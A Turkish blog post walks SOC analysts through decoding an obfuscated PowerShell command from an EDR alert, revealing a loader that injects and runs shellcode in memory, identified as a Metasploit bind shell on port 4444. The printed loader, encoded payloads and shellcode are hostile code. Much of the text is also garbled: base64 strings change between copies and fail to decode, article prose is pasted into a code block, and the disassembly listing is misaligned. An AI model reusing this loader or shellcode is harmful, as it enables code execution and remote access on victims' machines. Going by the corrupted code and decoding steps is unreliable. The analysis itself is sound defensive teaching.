

Zararlı Powershell Analizi

written by Mert SARICA | 1 January 2019

Sysmon gibi ücretsiz, FireEye HX, Carbon Black Response gibi ticari EDR (endpoint detection & response) güvenlik teknolojilerine sahip olan kurumların yakından izlediği alarmların başında, hemen hemen her tehdit raporunda, araştırma yazısında adının sıklıkla geçtiği Powershell olduğunu az çok tahmin edebilirsiniz. Invoke-Obfuscation gibi yardımcı araçlar nedeniyle hedef işletim sisteminde Powershell kullanımının tespit edilmesinin çok daha zorlaştığı günümüzde, EDR teknolojilerine olan bağımlılık ve Powershell kayıtlarına olan ihtiyaç, kurumlar için elzem bir hale gelmiştir.

Her güvenlik teknolojisinde olduğu gibi EDR teknolojisinde de alarmları analiz edebilecek yetkinlikte insan kaynağı olmadan bu teknolojiye sahip olmak, kurumlar için ölü bir yatırım olmaktan öteye gidememektedir.

Analistler sayesinde komut satırında tespit edilen bir alarmın günün sonunda hedef sistemin belleğinde çalıştırdığı kabuk kodunun (shellcode) türüne, bağlantı noktasına kadar önemli bilgilere erişmek mümkün olabilmektedir.

Örneğin kurumunuzdaki EDR sisteminiz şüpheli bir Powershell kullanımı ile ilgili olarak aşağıdaki şekilde bir alarm ürettiğinde Siber Güvenlik Merkezi'nizdeki analistlerin en kısa sürede bu alarmı analiz etmek için işe koyulmaları gerekmektedir.

```
"event_values": {  
  "processEvent/eventType": "start",  
  "processEvent/process": "powershell.exe",  
  "processEvent/processPath":  
    "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",  
  "processEvent/processCmdLine": "\"powershell.exe\" -noni -nop -w hidden -c  
&([scriptblock]::create((New-Object IO.StreamReader(New-Object  
IO.Compression.GzipStream((New-Object  
IO.MemoryStream([Convert]::FromBase64String('H4sIAL3yl1oCA7VWbW/i0BD+3JX2P0Q  
rpCS6lJfCbTVKK53DS0lLWmgglHLo5CZ0MDgxdZzysrf//SaQbLtq9273pItA0PaMPfM8z4wJ0tiT  
lMfKKtwqX96/0+pjgSNFK7HH1sAxlnLD3N0PjmChtLOVz4o2RatVi0eYxrPz82YqBInl4b18QSRKE  
hI9MEoSTVf+UsZzIsjxzC0CeFL5opT+LF8w/oBZbrZtYm90lGMU+9laj3s4i6XsrBiVmrHH6o+Pa  
7Nyu3HFLNEU51tIklu9hlTdeWrnh043K6IptrUEzzhgSyPaVw/KY/iBAfkGnZ7IjaRc+4nqq45wEc
```

QmYpYgWwy980ipsKwL7iHfF+QBgzLVvzEl0QrxSljhvK7Ns3Pvk1jSSMC65IIvnKIEKIEscpdHPuM
3JJgpl2TdZHyzzppl53Aqi+FbgAJr4K0uZ8ycvBT9ddhHmjT4cmpg6y/vn/3/11Q8EyW3/EMo6Ppf
kwgNq3PE7o3+6xUDcWgc7DkYguvpaFIiT5Tphni09lMKW2WV8aP3WuFLVh67J6kMDd10fVn4JNzUd
rEg9PTb0HHomqRgMaktY1xRL1CN9pbIJ0AkX205cLsGsLS1HyB+C3CSiHlBpyhTF+7tSMqv/maKWU
+EcgDohKICjjUvw/mwIWmWrFNIgDp8K4C8AGolRTWuUK3xenZ0xipTYaTxFD6KZSLZyg0wYz4hoLi
h0ZLKJV8P1Sfw7VTJqmHE1lsN90/AZkf20RxIkXqAXGQ/NBZEY9ilmFhKF3qE3Pr0LA4WH0TiSZmj
MYh7PQETMBMhoAjMzkIiDGjXi87RFRipEITPZ122E4hCrN1b6XDw6Jr76KsBD0Qb0ZGAUKL+IDhh
3GpaG4VEio/wzYvZD+0/kvKv8QSV0QnAytqJGpuZWZtEvLXqb4Apc9CkICAh3BIxMn5FPdkQLw0T5
UbmgtwT0xYmZ75pLW0JrWLBu+I1q3e0vUv7pcdCuitZkHyEosu9tvDbrdxt0l4zak07bkVd+Sdvtu
sXBQ93Y0kfcW6g5pdTlp7FaXd0f0kD/ZVD7tzN26am52i9APJq0gCE8D57b2sUN74+bArJ7gXqud9
sbm2qw2kjZddwd0NFheduTDxGV4FFTCu9oZppueWLg1bu8shC7mdW93GbgXc9vfTrqVs3FjidoIne
022zH51cQUqF9xcSjvRze9Mxx2HlG0eGydVUKwvcPIQm13e/kx4g0X+Xwtk/p9peK6J7T+abioVM7
c09wdJje/dSs1l8DYTYdjGI85wuHt2D0JmyfePIC9etfRCmGEBgiZYxyafHx10/wYVNxl7foRde6H
z7Yjc72NL3xy2vqQ8QrElSIVEUHxj5qtjUUYxwxohD5aVE+Hi07eGfucZh6alt2ESyJiwuAmgbumE
CBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/9upg6P7+HGEHQoLhyj8ShnBvVTb1aheZb3TSqk0
HPp9Xkq62W7WRkvTtDJd+Y7TfWM4mXeNs66/6va0WFNYcf/1/Qep77h9WfQrBq7PN9Nfv9xC/B+at
5jzGVY0hAX2DkcdW9mX6uixex

954T4D3In+yf000qj6/hUv8bAKByiaAJAAA='))],[IO.Compression.CompressionMode]::De
compress))) .ReadToEnd()))",

"processEvent/parentProcessPath":

"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",

"processEvent/parentProcess": "powershell.exe",

}

Alarmeda dikkat çeken kısımların başında GzipStream, FromBase64String, IO.MemoryStream geldiğini görebilir ve buradan yola çıkarak GZIP ile paketlenip, Base64 ile gizlenmiş bu verinin bellekte bir işlem gerçekleştirdiği varsayımında bulunabilirsiniz.

Kali üzerinde bulunan echo, base64, xxd, gunzip komut satırı araçlarından faydalanarak kısa sürede gizlenmiş bu veriyi aşağıdaki şekilde çözebilirsiniz.

```
root@ubuntu:~# echo H451AL3Y1k0cA/Vmbw/IG80r3X2P0qpc5613FcbtVxK530501Lwmg1Hl05CZ0Wdpxdzysff//sa0bltq9273p1eAOPwPm824w0e1TfKkxwqX96/0+p1gsNFK7HhLSax1Nl03NOPjMcHLOV2402RatV10evxrP287q0B1n14Dl8QSRKEH19M  
08VTFu8uzzz3jz0Z0Cm150pT4FbW/0b20rZcvmp010mu91a35416sxf1vmtwHd0+Pa7yUJHFLNEU11k1u9h1dearHh043k61pTUEzzhpgypaww/XV/1BAfK027Tjac+4nqg45wecmptqgwy9801pskwl71Hff+0q62LvvZE10QrxSljHvK7Ns3Pvk1jSSMC65II  
vnxkIeTescdhpM333p12tdzhyzzppl53Aqi+FbgAJr4K0uZ8ycvBT9ddhHmjT4cmpg6y/vn/3/11Q8EyW3/EMo6Ppfkwnq3PE7o3+6xUDcWgc7DkYguvpaFIiT5Tphni09lMKW2WV8aP3WuFLVh67J6kMDd10fVn4JNzUd  
L5s51S1HyB+C3CSiHlBpyhTF+7tSMqv/maKWU+EcgDohKICjjUvw/mwIWmWrFNIgDp8K4C8AGolRTWuUK3xenZ0xipTYaTxFD6KZSLZyg0wYz4hoLi  
h0ZLKJV8P1Sfw7VTJqmHE1lsN90/AZkf20RxIkXqAXGQ/NBZEY9ilmFhKF3qE3Pr0LA4WH0TiSZmjMYh7PQETMBMhoAjMzkIiDGjXi87RFRipEITPZ122E4hCrN1b6XDw6Jr76KsBD0Qb0ZGAUKL+IDhh  
3GpaG4VEio/wzYvZD+0/kvKv8QSV0QnAytqJGpuZWZtEvLXqb4Apc9CkICAh3BIxMn5FPdkQLw0T5UbmgtwT0xYmZ75pLW0JrWLBu+I1q3e0vUv7pcdCuitZkHyEosu9tvDbrdxt0l4zak07bkVd+Sdvtu  
sXBQ93Y0kfcW6g5pdTlp7FaXd0f0kD/ZVD7tzN26am52i9APJq0gCE8D57b2sUN74+bArJ7gXqud9sbm2qw2kjZddwd0NFheduTDxGV4FFTCu9oZppueWLg1bu8shC7mdW93GbgXc9vfTrqVs3FjidoIne  
022zH51cQUqF9xcSjvRze9Mxx2HlG0eGydVUKwvcPIQm13e/kx4g0X+Xwtk/p9peK6J7T+abioVM7c09wdJje/dSs1l8DYTYdjGI85wuHt2D0JmyfePIC9etfRCmGEBgiZYxyafHx10/wYVNxl7foRde6H  
z7Yjc72NL3xy2vqQ8QrElSIVEUHxj5qtjUUYxwxohD5aVE+Hi07eGfucZh6alt2ESyJiwuAmgbumECBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/9upg6P7+HGEHQoLhyj8ShnBvVTb1aheZb3TSqk0  
HPp9Xkq62W7WRkvTtDJd+Y7TfWM4mXeNs66/6va0WFNYcf/1/Qep77h9WfQrBq7PN9Nfv9xC/B+at5jzGVY0hAX2DkcdW9mX6uixex  
954T4D3In+yf000qj6/hUv8bAKByiaAJAAA='))],[IO.Compression.CompressionMode]::De  
compress))) .ReadToEnd()))",  
"processEvent/parentProcessPath":  
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",  
"processEvent/parentProcess": "powershell.exe",  
}  
Alarmeda dikkat çeken kısımların başında GzipStream, FromBase64String, IO.MemoryStream geldiğini görebilir ve buradan yola çıkarak GZIP ile  
paketlenip, Base64 ile gizlenmiş bu verinin bellekte bir işlem gerçekleştirdiği varsayımında bulunabilirsiniz.  
Kali üzerinde bulunan echo, base64, xxd, gunzip komut satırı araçlarından faydalanarak kısa sürede gizlenmiş bu veriyi aşağıdaki şekilde  
çözebilirsiniz.
```

```
root@ubuntu:~# echo H5tAL3y1KcA/Vmb/10B0/33x2P00Pc561fCbtvKx5J0S0LwmqjHLoCZ0M0pdxzysrF//Sa0bLq9273p1tA0PwPfl8z4w30t1fHfkkwX96/0+pJ5NFK/HkLSAXNLd3N0PjncHLoV240ZratV10evXrP28zVqB1n14B1805RkE19W6
OSTVF+USZ25J3ZCC0CfL50pT+L8B/0BzBrZtVmo1Qmu91A135416Kx8B1VmrVH80+Pa7NyU3HFLNEU51t1k1U9h1tdeWnH043K61PTrUEzzh5yPaww/KY/18AFKgn27J1arc4Anq35wEcompyrgwmy9801pskwl71HFF+QBGZLvzz2100rXs1Jhvk7N53Pvk1J5SMK651E
vntk1e5cpdHmJ33p127dzhyZpPL33Aq1+FBa7A4K0U8ZcyvBT9ddhWmJ74cmgpy/vn/3/1108yW3/EM06pflKwgnq3PE703+6XUDWGC7DKyVnpaF1T5tpHn1091MkwZv8AP3wFLVh6736kMD0f0rVn43NzudrEg0PTb0HmqmrgvaktY1xR1CN9pb1J0AKK205C
L5G151yH6+3C5118p1NTP+750ey/maXkH4Cg0BkTc1Juv/muWmewrN1gpp8K4Bago1HtWauk3knd020PTatF0dKZSL2ygyWz4Hd1H0ZL3V8P15FwV7Tj0ME115N90/AZkF20K1XkQaQ6Q/NBEZV911HfKf3Q3PR0L4Aw0T1SzeJhY7QeTMBHhA1N2K1
10G1X187RFFR1PE1T21224ZcHr1n1b6XW6376K5B00Q0ZGAUK1IDH33pAq4VE10/wzyVZD+0/kvk85VQWqVtq0puzZTEVLXqB4APC9K1CAH3B1Mm5F0K0W0T5UBmgTtOXmZ75Plw03rWlBu+11q3eovUv7pdcU1tZkHye0su9Tvdbrdxt0142ak07bVd+sdv
tux8Q93vKfCWegSpdT1P7afX0d70ZVD2Zn6a5219Ap3q0Gc8057b25uN74+bar37gxu95b2m2owZk3J2dd0NfHeduTDX04VFTTCu92ppuek1g1bU8K1mdw93bGXC9vFrrqV3F1Jd0iNE022H51CQUG9XcsJVRze9MxXZHG0GedvduKwCP1Qm13e/kk4G0X
wXk1_p9pexG3715ab1047C0BwJJe/d55118p1NTP+750ey/maXkH4Cg0BkTc1Juv/muWmewrN1gpp8K4Bago1HtWauk3knd020PTatF0dKZSL2ygyWz4Hd1H0ZL3V8P15FwV7Tj0ME115N90/AZkF20K1XkQaQ6Q/NBEZV911HfKf3Q3PR0L4Aw0T1SzeJhY7QeTMBHhA1N2K1
4265/gupp67+HGEuqHv1858hVtB1ahezB3TSqkHP9Xkq62WwKvTD03+V7TtM4XenS66/va0wNvcF/1/0ep77H9fQbq7PHN9Fv0X/B+at5J2GV0FAH2K0Cdw9M6u1ex 954T4D3In+yF000qJ6/HuV8BAKBY1AA3AAW | base64 --decode | xxd -p
base64: invalid input
root@ubuntu:~# xxd -p
00000000: 1f8b 0800 42f7 975a 0203 b556 6d6f e238 .....2...vmo.8
00000001: 10f0 6331 463f .....ha94 97c2 e238 .....70h...s...n
00000002: 4a2b 9dc3 4ba9 4b5a 682c .....K12zh...f...4N
00000003: 3038 3175 9cf2 b2b7 fffd 2690 .....6...j...
00000004: 6e67 a480 4038 f68c 3d5f 3ccf 80c0 d2d8 .....vnm.bm
00000005: 9394 c7ca 2adc 2a5f debf 3bea 6381 2345 .....[A$3...
00000006: 2bb1 c7d6 c031 94d2 c3dc d38f 8e60 ab4a .....Mw.R.s...
00000007: b395 f463 a855 8847 98c6 b3f3 f366 .....[A$3...
00000008: 2a04 89e5 e1b0 7c41 244a 1212 3d30 4a12 .....[A$3...
00000009: 4d57 fe52 c673 22c8 f1c0 c382 7852 f9a2 .....Mw.R.s...
0000000a: 94fe 2c3f 30fe 8059 6e6b 6d62 6f4e 9463 .....Z...8...
0000000b: 14fb d95a 8f7b 388b a5ec ac18 959a fac7 .....Z...8...
0000000c: 1faa 3e3d aecc caed c714 b344 5390 6e22 .....0
0000000d: 4954 f61b 5375 e5ab 9e1d 38dc ae88 a6da .....8
0000000e: d413 3ce1 812c 8f69 5c3f 298f e204 07e4 .....[...1?
0000000f: 1a76 7b22 3691 73ee 27aa 0e39 c047 1099 .....Vf6.S...9
00000010: 8a58 816c 347f 3a2c a5c2 b02f b587 7c5f .....Vf6.S...9
00000011: 9004 ec6b 56fc c497 442b c529 6386 f2bb .....[...D+...
00000012: 36cd f7a2 4663 4923 02eb 9208 be72 8878 .....[...D+...
00000013: a21e 49ca 5d1c fb8c dc92 60a6 5993 7591 .....[...D+...
00000014: f2cf 3a69 2f9d c0aa 2f83 6e00 09af 82b4 .....[...D+...
00000015: b99f 6116 68d3 e1c9 c809 a983 .....[...D+...
00000016: acbf be7f f7fe 5d50 f04c 9edf f10c a3a3 .....[...D+...
00000017: e97e 4c20 36ad cf13 ba37 fbac 5400 c586 .....[...D+...
00000018: 73b0 0ba7 a5a1 4a89 9e53 ae15 e2c5 .....[...D+...
00000019: d94c 296d 9657 c68f ddb6 852d 587a ec9e .....[...D+...
0000001a: a430 3775 39f5 67e0 9373 51da c483 d3d3 .....[...D+...
0000001b: 6c61 c7a2 6a91 80dc a8b5 8d71 44bd 4237 .....[...D+...
0000001c: da3b 2093 8091 7d8e e5c2 ec1a c2d2 d47c .....[...D+...
0000001d: 81f5 26c2 4888 6506 9c4c 4c3f b0b5 232a .....[...D+...
0000001e: bff9 9a2b 6356 11c8 03a2 1288 0a38 d40f .....[...D+...
0000001f: 0fee c085 a65a b14d 2200 e9f0 ae02 f001 .....[...D+...
00000020: a895 14de b942 b7c5 e8d9 3b18 a84d 8693 .....[...D+...
00000021: c450 fa29 948b 6728 0ec1 8c78 8682 e284 .....[...D+...
00000022: e64b 2895 7c3f 5a9f c3b5 5326 a987 1359 .....[...D+...
00000023: 6c37 d30f 0199 1f8e a717 2245 ea01 720a .....[...D+...
00000024: fcd0 5911 8f62 9661 6128 5dea 1373 ebd0 .....[...D+...
00000025: b038 587d 1389 2666 8cc6 21ec f404 4cc0 .....[...D+...
00000026: 4c86 8023 3399 0888 31a3 5a2f 3844 5ad1 .....[...D+...
00000027: 8a91 084c f675 db61 3884 2acd d5be 970f .....[...D+...
00000028: 0e89 afbe 8a80 1074 104d 1918 050a 2fe2 .....[...D+...
00000029: 0386 1dc5 a5a1 b584 48a8 ff0c d8b0 90f6 .....[...D+...
0000002a: d3f9 2f2a ff10 4953 909c 0cad a891 a9b9 .....[...D+...
0000002b: 9599 b44b c5b6 e8f8 0297 30da 4202 021d .....[...D+...
0000002c: c123 1327 e451 c391 0f70 d13e 5466 6813 .....[...D+...
0000002d: c133 b162 667b e692 d6d0 9ade c1b2 be23 .....[...D+...
0000002e: 5a07 78eb d4bf b45c 42b5 a2b5 9907 c84a .....[...D+...
0000002f: 2cbb d6bf 0db4 d6c5 d3a5 e336 a4d3 b9e6 .....[...D+...
00000030: 53df 276e fb5e b170 507f 7634 91f7 16ea .....[...D+...
00000031: 0e69 733b 69ec 5697 74e7 f490 3f69 543e .....[...D+...
00000032: edcc ddb6 6a6e 768b d00f 26ad 2008 4f03 .....[...D+...
00000033: e7b6 f6b1 437b e36e c0ac 9e0d 5eab 9dfe .....[...D+...
00000034: c6e0 d800 3692 365d 7707 7434 5856 76f6 .....[...D+...
00000035: c3c4 6578 1454 c2bb da19 a69b 9e58 b835 .....[...D+...
00000036: 6eef 2c84 2e66 756f 7719 b817 73db df4e .....[...D+...
00000037: b495 b371 6380 da08 35e3 b6db 31f9 d5c4 .....[...D+...
00000038: 14a8 5f71 7128 ef47 37bd 331c 761e 51b4 .....[...D+...
00000039: 786c 9055 42b0 bdc3 c842 6d77 7b9f 31e2 .....[...D+...
0000003a: 0397 f7c7 2a93 f47d a5e2 ba27 b4fe 60b8 .....[...D+...
0000003b: a854 cdec 8bdc 1d26 37bf 752b 3597 c0d8 .....[...D+...
root@ubuntu:~# echo H5tAL3y1KcA/Vmb/10B0/33x2P00Pc561fCbtvKx5J0S0LwmqjHLoCZ0M0pdxzysrF//Sa0bLq9273p1tA0PwPfl8z4w30t1fHfkkwX96/0+pJ5NFK/HkLSAXNLd3N0PjncHLoV240ZratV10evXrP28zVqB1n14B1805RkE19W6
OSTVF+USZ25J3ZCC0CfL50pT+L8B/0BzBrZtVmo1Qmu91A135416Kx8B1VmrVH80+Pa7NyU3HFLNEU51t1k1U9h1tdeWnH043K61PTrUEzzh5yPaww/KY/18AFKgn27J1arc4Anq35wEcompyrgwmy9801pskwl71HFF+QBGZLvzz2100rXs1Jhvk7N53Pvk1J5SMK651E
vntk1e5cpdHmJ33p127dzhyZpPL33Aq1+FBa7A4K0U8ZcyvBT9ddhWmJ74cmgpy/vn/3/1108yW3/EM06pflKwgnq3PE703+6XUDWGC7DKyVnpaF1T5tpHn1091MkwZv8AP3wFLVh6736kMD0f0rVn43NzudrEg0PTb0HmqmrgvaktY1xR1CN9pb1J0AKK205C
L5G151yH6+3C5118p1NTP+750ey/maXkH4Cg0BkTc1Juv/muWmewrN1gpp8K4Bago1HtWauk3knd020PTatF0dKZSL2ygyWz4Hd1H0ZL3V8P15FwV7Tj0ME115N90/AZkF20K1XkQaQ6Q/NBEZV911HfKf3Q3PR0L4Aw0T1SzeJhY7QeTMBHhA1N2K1
10G1X187RFFR1PE1T21224ZcHr1n1b6XW6376K5B00Q0ZGAUK1IDH33pAq4VE10/wzyVZD+0/kvk85VQWqVtq0puzZTEVLXqB4APC9K1CAH3B1Mm5F0K0W0T5UBmgTtOXmZ75Plw03rWlBu+11q3eovUv7pdcU1tZkHye0su9Tvdbrdxt0142ak07bVd+sdv
tux8Q93vKfCWegSpdT1P7afX0d70ZVD2Zn6a5219Ap3q0Gc8057b25uN74+bar37gxu95b2m2owZk3J2dd0NfHeduTDX04VFTTCu92ppuek1g1bU8K1mdw93bGXC9vFrrqV3F1Jd0iNE022H51CQUG9XcsJVRze9MxXZHG0GedvduKwCP1Qm13e/kk4G0X
wXk1_p9pexG3715ab1047C0BwJJe/d55118p1NTP+750ey/maXkH4Cg0BkTc1Juv/muWmewrN1gpp8K4Bago1HtWauk3knd020PTatF0dKZSL2ygyWz4Hd1H0ZL3V8P15FwV7Tj0ME115N90/AZkF20K1XkQaQ6Q/NBEZV911HfKf3Q3PR0L4Aw0T1SzeJhY7QeTMBHhA1N2K1
4265/gupp67+HGEuqHv1858hVtB1ahezB3TSqkHP9Xkq62WwKvTD03+V7TtM4XenS66/va0wNvcF/1/0ep77H9fQbq7PHN9Fv0X/B+at5J2GV0FAH2K0Cdw9M6u1ex 954T4D3In+yF000qJ6/HuV8BAKBY1AA3AAW | base64 --decode | xxd -p
base64: invalid input
root@ubuntu:~# xxd -p
root@ubuntu:~# ls -al payload.bin
-rw-r--r-- 1 root root 1197 Mar 11 11:51 payload.bin
root@ubuntu:~# file payload.bin
payload.bin: gzip compressed data, last modified: Thu Mar 1 12:31:57 2018, max compression, from unix
root@ubuntu:~# gunzip -d -c payload.bin
function pgv {
    param ($lq0qs, $bhc)
    $M = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    return $M.GetMethod('GetProcAddress').Invoke($null, @(System.Runtime.InteropServices.HandleRef)(New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($M.GetMethod('GetModuleHandle
'))).Invoke($null, ($lq0qs))), $bhc)
}
function eky {
    param (
        [Parameter(Position = 0)] [Type] $clzeu, [Type] $sxx,
        [Parameter(Position = 1)] [Type] $clzeu, [Type] $sxx,
    )
    $sxx7 = [AppDomain]::CurrentDomain.DefineDynamicAssembly([New-Object System.Reflection.AssemblyName('ReflectedDelegate')], [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('Irk
moryModule', $false, [DefinableType]'MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $sxx7.DefineConstructor('RTSPECIALNAME, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $sxx).SetImplementationFlags('Runtime, Managed')
    $sxx7.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $clzeu, $sxx).SetImplementationFlags('Runtime, Managed')
    return $sxx7.CreateType()
}
[Byte[]] $kly = [System.Convert]::FromBase64String('OTcAAAYVn1WcK11Aw11M11U11I11017dKjH/vdHfA1S1MHPDQ4V75V4tE1K1TME1XJ1SAHRYU21AHT10kY4Zp12SLAdYx/628Zw0BxZ1gdfYdfG7fSR15F1LKC0R2ALDEULW0B04Se1WqQ1UQ
6PftbYV1AUF/gX19A1X1FL1JVL0M1Z1AAG13C23FVGMdyH/9wLkAAEAACVEBOKYRAP/vagtZUOL9agqam1qd9/g/9wXkAAEYV35mQd1d0wts32/VV2136TJ1/9VxkA5T0+H1VexAHVUWn/1WoaagRW29C2chf/9wLNMpAAQAABWagBOWKRT5F/Vk1nqAFZTV29C2chf/
9W0WynGed7D')
$gpe = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((pgv kernel32.dll virtualA1loc), (eky @(IntPtr), [uint32], [uint32], [uint32]) ((IntPtr))))).Invoke([IntPtr]::Zero, $kly.Length, 0x3
000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($kly, 0, $gpe, $kly.Length)
$se0H = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((pgv kernel32.dll createThread), (eky @(IntPtr), [uint32], [IntPtr], [IntPtr], [uint32], [IntPtr]) ((IntPtr))))).Invoke([IntPtr]
:Zero, 0, $gpe, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((pgv kernel32.dll waitForSingleObject), (eky @(IntPtr), [int32])
gzip: payload.bin: unexpected end of file
root@ubuntu:~#
```

Ortaya çıkan Powershell betiğinin bellekten .Net API yardımı ile Windows API fonksiyonları çağırarak özetle bellekte yer açıp, açılmış belleğe, FromBase64String() fonksiyonu içinde yer alan kod parçasını kopyaladıktan sonra yeni bir iş parçacığı (thread) oluşturup, bu kod parçasını çalıştırdığını görebilirsiniz.

FromBase64String() fonksiyonu içinde yer alan kod parçasını çözmek için ise yine echo, base64, xxd komutlarından faydalanabilirsiniz. Ancak bu defa elinizde bellekten çalışmak üzere hazırlanmış bir kabuk kodu olduğu için ilave olarak shellcode2exe ve Radare2 araçlarından da faydalanmanız gerekmektedir.

```

root@ubuntu:~# echo /0TCAAAyInMcBk11Aw11M11U1310d7dk3JH/RdxHFAISIMHPQHH4V3SV4tSEITKPIIMEXJ1SAHRUYZ1AHT10kY4zp11zSLAdYX/6ZBzw0BxzJgdfYDffg7FSR15f1LWCQ802alDEULWwB04SE1wHQ1UQKJfEbyV1aUf/gX19a1xLrJv10MZIAAG
h3czJfVgHdyYH/9w4kAEACNEVfBokYBRAP/VagtZUOL9agFqAmJqD9/g/9wXAAIAEvY35moQV1dowts3Z//Vv2136TJ//9vXaHTsOH/1VexahvUTW/1woagRWv2gc2chf/9wLNpAaAAQAABwagBowKRT5f/Vk1nQAFZTV2gc2chf/9UBWynGde7D | base64 --decode |
xxd -p
base64: invalid input
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ff
ac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c804c1178e34801d1
518b95d01d38b0918e31a498b348b01d631ffacclcf0d01c738e07f603
7df83b7d2475e4588b582401d368b0c4b8b581c01d38b048b01d0894424
245b3b61595a51ff405f5a8b12eb4b5d6833200006877332f54684c
772607ff5b89001000029c454506829806b00ff56a0b5950e2fde016a
0268e0fde0ff597680200115c89e66a10565768c2db3767ff55768b7
e938ffff5576874ec187ff555e9da1d5993587ff55a801a811595da00b6
7217fff562cd9a901a00040000159a801a162914f97ff564da801594d5
da00b67217fff54070ca719d7bb0
root@ubuntu:~# echo /0TCAAAyInMcBk11Aw11M11U1310d7dk3JH/RdxHFAISIMHPQHH4V3SV4tSEITKPIIMEXJ1SAHRUYZ1AHT10kY4zp11zSLAdYX/6ZBzw0BxzJgdfYDffg7FSR15f1LWCQ802alDEULWwB04SE1wHQ1UQKJfEbyV1aUf/gX19a1xLrJv10MZIAAG
h3czJfVgHdyYH/9w4kAEACNEVfBokYBRAP/VagtZUOL9agFqAmJqD9/g/9wXAAIAEvY35moQV1dowts3Z//Vv2136TJ//9vXaHTsOH/1VexahvUTW/1woagRWv2gc2chf/9wLNpAaAAQAABwagBowKRT5f/Vk1nQAFZTV2gc2chf/9UBWynGde7D | base64 --decode |
xxd -p | xxd -r -p > payload2.bin
base64: invalid input
root@ubuntu:~# file payload2.bin
payload2.bin: data
root@ubuntu:~#
root@ubuntu:~# python shellcode2exe.py
shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Usage:
    shellcode2exe.py payload.bin [payload.exe]
    [--arch=i386|powerpc|sparc|arm]
    [--os=windows|linux|freebsd|openbsd|solaris]
    [-c Allow for ascii shellcode as a cmd line parameter]
    [-s Allows for ascii shellcode in file]
    [-d Allows for unicode shellcode as a cmd line parameter]
    [-u Allows for unicode shellcode in file]

Options:
    -h, --help                show this help message and exit
    -a ARCH, --arch=ARCH      target architecture [default: i386]
    -o OS, --os=OS            target operating system [default: windows]
    -c, --asciicmd            enable ascii entry in command line (e.g. -c
                              '\x90\x90')
    -s, --asciifile          enable ascii entry in input file
    -d, --unicodcmd          enable unicode entry in command line (e.g. -d
                              '%u9090')
    -u, --unicodfile        enable unicode entry in input file
root@ubuntu:~#
root@ubuntu:~# python shellcode2exe.py -o linux payload2.bin shellcode
shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Reading raw shellcode from file payload2.bin
Generating executable file
Writing file shellcode
Done.
root@ubuntu:~#
root@ubuntu:~# file shellcode
shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
root@ubuntu:~#
root@ubuntu:~#

```

Radare2 ile shellcode dosyasını analiz ettiğinizde ise aslında bunun Metasploit'in 4444. bağlantı noktasında dinleyen bir bind kabuk kodu olduğunu görebilirsiniz.

```

root@ubuntu:~# r2 shellcode
warning: read (strtab) at 0x20
warning: Cannot initialize strings table
[0x08048054]> pd

```

```

;-- entry0:
0x08048054 fc cld
0x08048055 e882000000 call 0x080480dc
0x08048056 60 ; entry0
0x0804805b 89e5 pushad
0x0804805d 31c0 mov ebp, esp
0x0804805f 648b5030 xor eax, eax
0x08048063 8b520c mov edx, [fs:eax+0x30]
0x08048066 8b5214 mov edx, [edx+0xc]
0x08048069 8b7228 mov edx, [edx+0x14]
0x0804806c 0fb74a26 mov esi, [edx+0x28]
0x08048070 31ff movzx ecx, word [edx+0x26]
0x08048072 ac xor edi, edi
0x08048073 3c61 lodsb
0x08048075 7c02 cmp al, 0x61
0x08048077 2c20 j1 0x08048079
0x08048079 c1cf0d sub al, 0x20
0x0804807c 01c7 ror edi, 0xd
0x0804807e e2f2 add edi, eax
0x08048080 52 loop 0x108048072
0x08048081 57 push edx
0x08048082 8b5210 push edi
0x08048085 8b4a3c mov edx, [edx+0x10]
0x08048088 8b4c1178 mov ecx, [edx+0x3c]
0x0804808c e348 mov ecx, [ecx+edx+0x78]
0x0804808e 01d1 jecxz 0x080480d6
0x08048090 51 add ecx, edx
0x08048091 8b5920 push ecx
0x08048094 01d3 mov ebx, [ecx+0x20]
0x08048096 8b4918 add ebx, edx
0x08048099 e33a mov ecx, [ecx+0x18]
0x0804809b 49 jecxz 0x080480d5
0x0804809c 8b348b dec ecx
0x0804809f 01d6 mov esi, [ebx+ecx*4]
0x080480a1 31ff add esi, edx
0x080480a3 ac xor edi, edi
0x080480a4 c1cf0d lodsb
0x080480a7 01c7 ror edi, 0xd
0x080480a9 38e0 add edi, eax
0x080480ab 75f6 cmp al, ah
0x080480ad 037df8 jnz 0x1080480a3
0x080480b0 3b7d24 add edi, [ebp-0x8]
0x080480b3 75e4 cmp edi, [ebp+0x24]
0x080480b5 58 jnz 0x108048099
0x080480b6 8b5824 pop eax
0x080480b9 01d3 mov ebx, [eax+0x24]
0x080480bb 668b0c4b add ebx, edx
0x080480bf 8b581c mov cx, [ebx+ecx*2]
0x080480c2 01d3 mov ebx, [eax+0x1c]
0x080480c4 8b048b add ebx, edx
0x080480c7 01d0 mov eax, [ebx+ecx*4]
0x080480c9 89442424 add eax, edx
0x080480cd 5b mov [esp+0x24], eax
0x080480ce 5b pop ebx
0x080480cf 61 pop ebx
0x080480d0 59 popad
0x080480d1 5a pop ecx
0x080480d2 51 pop edx
0x080480d3 ffe0 push ecx
0x080480d5 5f jmp eax
0x080480d6 5f pop edi
0x080480d7 5a pop edi
